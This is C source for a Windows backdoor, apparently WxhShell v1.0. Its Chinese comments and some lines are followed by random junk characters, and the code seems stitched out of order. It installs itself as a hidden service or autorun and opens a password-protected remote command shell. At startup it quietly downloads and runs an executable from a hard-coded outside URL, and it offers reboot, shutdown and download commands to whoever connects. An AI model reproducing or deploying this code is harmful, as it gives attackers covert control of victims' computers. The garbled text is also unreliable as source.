ULONG InheritedFromUniqueProcessId; 7$x%A&]
} PROCESS_BASIC_INFORMATION;
sOb]o[=
\01 kK)
PROCNTQSIP NtQueryInformationProcess; m6#a{
UyFC\vQ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _%Yi^^
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P- +]4\
p{:y?0pGN
HANDLE hProcess; GFju:8P?
PROCESS_BASIC_INFORMATION pbi; zszmG^W{
q|0l>DPRp
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OMM5ALc(F
if(NULL == hInst ) return 0; 9tb-;|
,SNt*t1"
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'oH3|
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bYZU}Kl;(
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kKjcW` [
g*`xEb='
if (!NtQueryInformationProcess) return 0; i=1crJ:
'Ebjn>"
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R$66F>Jz^
if(!hProcess) return 0; W\j)Vg__e
UR9\g(
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C| 2|OTtQ
42p1P6d
CloseHandle(hProcess); ><>%;HZ
DycXJ3eQ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _*n
`*"
if(hProcess==NULL) return 0; cD=IFOB*GD
@rAV;D%
HMODULE hMod; +95v=[t#Ut
char procName[255]; 4Gh\T`=
unsigned long cbNeeded; Lis>Qr
^\kH^
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WUo\jm[yr
co1aG,>"q
CloseHandle(hProcess); 6GPI
gPL,
)B)f`(SA"<
if(strstr(procName,"services")) return 1; // 以服务启动 _8
|X820
|rwY
return 0; // 注册表启动 ^bfZd
} -~lq <M
<Nqbp
// 主模块 fz :(mZ%
int StartWxhshell(LPSTR lpCmdLine) ow{. iv\,u
{ $P?^GB>u
SOCKET wsl; 9jqsEd-SW
BOOL val=TRUE; \|HNFx T`
int port=0; D_0Vu/v
struct sockaddr_in door; HOFxOBV
;%^=V#
if(wscfg.ws_autoins) Install(); ^PezV5(
vQK/xg
port=atoi(lpCmdLine); M?%x=q\<
ceJi|`F
if(port<=0) port=wscfg.ws_port; *|dK1'Xr
ix4]^
WSADATA data; oq+w2yR
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v/c]=/
T!KwRxJ23
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; S* O .
?
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tMX$8W0
c
door.sin_family = AF_INET; z_fjmqa?
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;VAyH('~
door.sin_port = htons(port); xi(\=LbhY
*1<kYrB
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iP"sw0V8
closesocket(wsl); >VkBQM-%
return 1; diY7<u#
} 9"]#.A^Q*
t'Wv?,
if(listen(wsl,2) == INVALID_SOCKET) { > ]^'h
closesocket(wsl); WXY'%G
return 1; A+0-pF2D
} !EhKg)y=
Wxhshell(wsl); X&?s:A
WSACleanup(); @i; )`k5b
f(Of+>
return 0; Fds
11
/c7
x~!|F5JbM
} KddCR&
=zcvR {Dkp
// 以NT服务方式启动 ~$g:
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
r_#dh
{ 96(Mu% l
DWORD status = 0; }Pg}"fb^
DWORD specificError = 0xfffffff; sE6>JaH
Q7$o&N{
serviceStatus.dwServiceType = SERVICE_WIN32; _Ns EeKU
serviceStatus.dwCurrentState = SERVICE_START_PENDING; jfY7ich
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p/HDG
^T:u
serviceStatus.dwWin32ExitCode = 0; TB!I
serviceStatus.dwServiceSpecificExitCode = 0; $ItjVc@U
serviceStatus.dwCheckPoint = 0; yQD>7%x
serviceStatus.dwWaitHint = 0; =Nxkr0])!
?1SsF>|
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F+V!p4G
if (hServiceStatusHandle==0) return; zl|z4j'Irc
Gs,:$Im
status = GetLastError(); GBbnR:hM
if (status!=NO_ERROR) 0
Uropam
{ :x*)o+
serviceStatus.dwCurrentState = SERVICE_STOPPED; 00QJ596
serviceStatus.dwCheckPoint = 0; YNEwX$)M,B
serviceStatus.dwWaitHint = 0; L=4+rshl!_
serviceStatus.dwWin32ExitCode = status; v3I^81
serviceStatus.dwServiceSpecificExitCode = specificError; KhHFJo[8sf
SetServiceStatus(hServiceStatusHandle, &serviceStatus); FPDTw8" B;
return; CI'RuR3y]Z
} iAwEnQ3h
^a4z*#IOr
serviceStatus.dwCurrentState = SERVICE_RUNNING; x;n3 Zr;(
serviceStatus.dwCheckPoint = 0; F)LbH&Kn
serviceStatus.dwWaitHint = 0; `<C<[JP:o
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9{toPED
} <-umeY"n>
Wh)D_
// 处理NT服务事件,比如:启动、停止 d#g))f;
VOID WINAPI NTServiceHandler(DWORD fdwControl) w7V\_^&Id
{ 7Q}pKq]P
switch(fdwControl) M3pE$KT0x
{ AI-*5[w#A
case SERVICE_CONTROL_STOP: 2*|T)OA`m,
serviceStatus.dwWin32ExitCode = 0; k {*QU(
serviceStatus.dwCurrentState = SERVICE_STOPPED; ysW})#7X
serviceStatus.dwCheckPoint = 0; >NRppPqL
serviceStatus.dwWaitHint = 0; NBYJ'nA%;f
{
Q.g/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =*2,^j
} P0m3IH)
return; zw/AZLS
case SERVICE_CONTROL_PAUSE: #).$o~1ht!
serviceStatus.dwCurrentState = SERVICE_PAUSED; fjh|V9H
break; C$OVN$lL`8
case SERVICE_CONTROL_CONTINUE: 2%W;#oi?
serviceStatus.dwCurrentState = SERVICE_RUNNING; H3A$YkK [
break; 2r,
c{Ah@D
case SERVICE_CONTROL_INTERROGATE: <+roY"
break; ->sxz/L
}; ~dYCY_a
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e8F]m`{_"
} Y2u\~.;oq
CL=%eSsuD
// 标准应用程序主函数 C0wtMD:G
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7*!7EBb
{ 95l)s],
u\]EG{w(
// 获取操作系统版本 !_S#8"
OsIsNt=GetOsVer(); ~||0lj.D
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6hxZ5&;(*
a+w2cN'
// 从命令行安装 QNj]wm=mp
if(strpbrk(lpCmdLine,"iI")) Install(); {M]_]L{&7
sdFHr4
// 下载执行文件 !+GYu;_
if(wscfg.ws_downexe) { T8XrmR&?PX
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C= ~c`V5>r
WinExec(wscfg.ws_filenam,SW_HIDE); RY , <*
} .H" ?&Mf
AUnfhk@$
if(!OsIsNt) { 8tj]@GE
// 如果时win9x,隐藏进程并且设置为注册表启动 [C'bfX5HB5
HideProc(); n|( lPbD
StartWxhshell(lpCmdLine); p5G'})x
} b6D;98p
else |R`"Zu`
if(StartFromService()) M3(N!xT
// 以服务方式启动 fF@w:;u
StartServiceCtrlDispatcher(DispatchTable); ;qshd'?*
else `Ij@;=(
// 普通方式启动 ^q:-ZgM>
StartWxhshell(lpCmdLine); *WwM"NFHDd
W0qR?jc
return 0; rq+_[!
} xe@1H\7:
5'AP:3Gf"
nBh+UT}
4Uy% wB
=========================================== =)a24PDG
cS ~OxAS
3:)z+#Uk6
ARKM[]
NXW*{b
u,^CFws_
" l2D*b93
bJ~H
#include <stdio.h> DB'v7
Ij0
#include <string.h> st-{xC#N#
#include <windows.h> 8Q'Emw |
#include <winsock2.h> $%bSRvA
#include <winsvc.h> l/.{F ;3F
#include <urlmon.h> 5\ mRH
uYh!04u
#pragma comment (lib, "Ws2_32.lib") 02;jeZ#z
#pragma comment (lib, "urlmon.lib") /0s1;?
3$|/7(M&DA
#define MAX_USER 100 // 最大客户端连接数 Pvxb6\G&d
#define BUF_SOCK 200 // sock buffer -`O{iHfM|P
#define KEY_BUFF 255 // 输入 buffer f1 ;
VD;*UkapZx
#define REBOOT 0 // 重启 ^HKXm#vAB
#define SHUTDOWN 1 // 关机 oaIk1U;g
~k"+5bHa*
#define DEF_PORT 5000 // 监听端口 '6so(>|
g'"~'
#define REG_LEN 16 // 注册表键长度 WtT;y|W
#define SVC_LEN 80 // NT服务名长度 8=8hbdy;
lx)^wAO4
// 从dll定义API @DN/]P
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8&<mg;H,
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jK|n^5\
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J4Gzp~{
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *uvM6F$ut
$y(;"hy
// wxhshell配置信息 Obs#2>h
struct WSCFG { wlS/(:02
int ws_port; // 监听端口 +|A`~\@N
char ws_passstr[REG_LEN]; // 口令 9vI~vl l
int ws_autoins; // 安装标记, 1=yes 0=no w"hd_8cO
char ws_regname[REG_LEN]; // 注册表键名 s8h*nZ)v
char ws_svcname[REG_LEN]; // 服务名 l_I)d7
char ws_svcdisp[SVC_LEN]; // 服务显示名 Gm~([Ln{
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ohx[_}xN
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /*0t_
int ws_downexe; // 下载执行标记, 1=yes 0=no .u-a+ac<
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f ,F X# _4
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mZ)>^.N6
}EK{UM9y
}; (s};MdXIz
EVmBLH-a
// default Wxhshell configuration `#""JTA"
struct WSCFG wscfg={DEF_PORT, *2AD#yIKC
"xuhuanlingzhe", JEUU~L;
1, "{q#)N
"Wxhshell", -3K h
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"Wxhshell", sSM"~_y\
"WxhShell Service", 4G&`&fff]
"Wrsky Windows CmdShell Service", #M-!/E
"Please Input Your Password: ", Z#[?~P
1, GZ%vFje_
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"http://www.wrsky.com/wxhshell.exe", *+M#D^qo
"Wxhshell.exe" L\Se ,
}; hU?DLl:bXF
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// 消息定义模块 YWZ;@,W
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ztp|FUi
char *msg_ws_prompt="\n\r? for help\n\r#>"; \xYVnjG,
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )[rVg/m
char *msg_ws_ext="\n\rExit."; "@V yc6L
char *msg_ws_end="\n\rQuit."; : |'(T[~L
char *msg_ws_boot="\n\rReboot..."; 7=-Yxt
char *msg_ws_poff="\n\rShutdown..."; t G_4>-Y#w
char *msg_ws_down="\n\rSave to "; ^rWg:fb
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char *msg_ws_err="\n\rErr!"; 0 QTI;3
char *msg_ws_ok="\n\rOK!"; 35\ |#2qw6
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char ExeFile[MAX_PATH]; "\|P6H
int nUser = 0; ,54z9F`
HANDLE handles[MAX_USER]; fU>l:BzJK
int OsIsNt; nFnM9
pdMK
H|%J"
SERVICE_STATUS serviceStatus; _ *f>UW*,
SERVICE_STATUS_HANDLE hServiceStatusHandle; 'D\X$^J^
'ZbWr*bo
// 函数声明 !"^Zr]Qt+\
int Install(void); 4'QX1p
int Uninstall(void); )Q 2IYCj{
int DownloadFile(char *sURL, SOCKET wsh); PR8nJts W5
int Boot(int flag); ale'-V)5
void HideProc(void); B;k'J:-"
int GetOsVer(void); gk6f_0?X'
int Wxhshell(SOCKET wsl); Ht[$s4 0P
void TalkWithClient(void *cs); EI_-5Tt RD
int CmdShell(SOCKET sock); sT^R0Q'>
int StartFromService(void); ocGrB)7eD
int StartWxhshell(LPSTR lpCmdLine); ~ZKJ:&f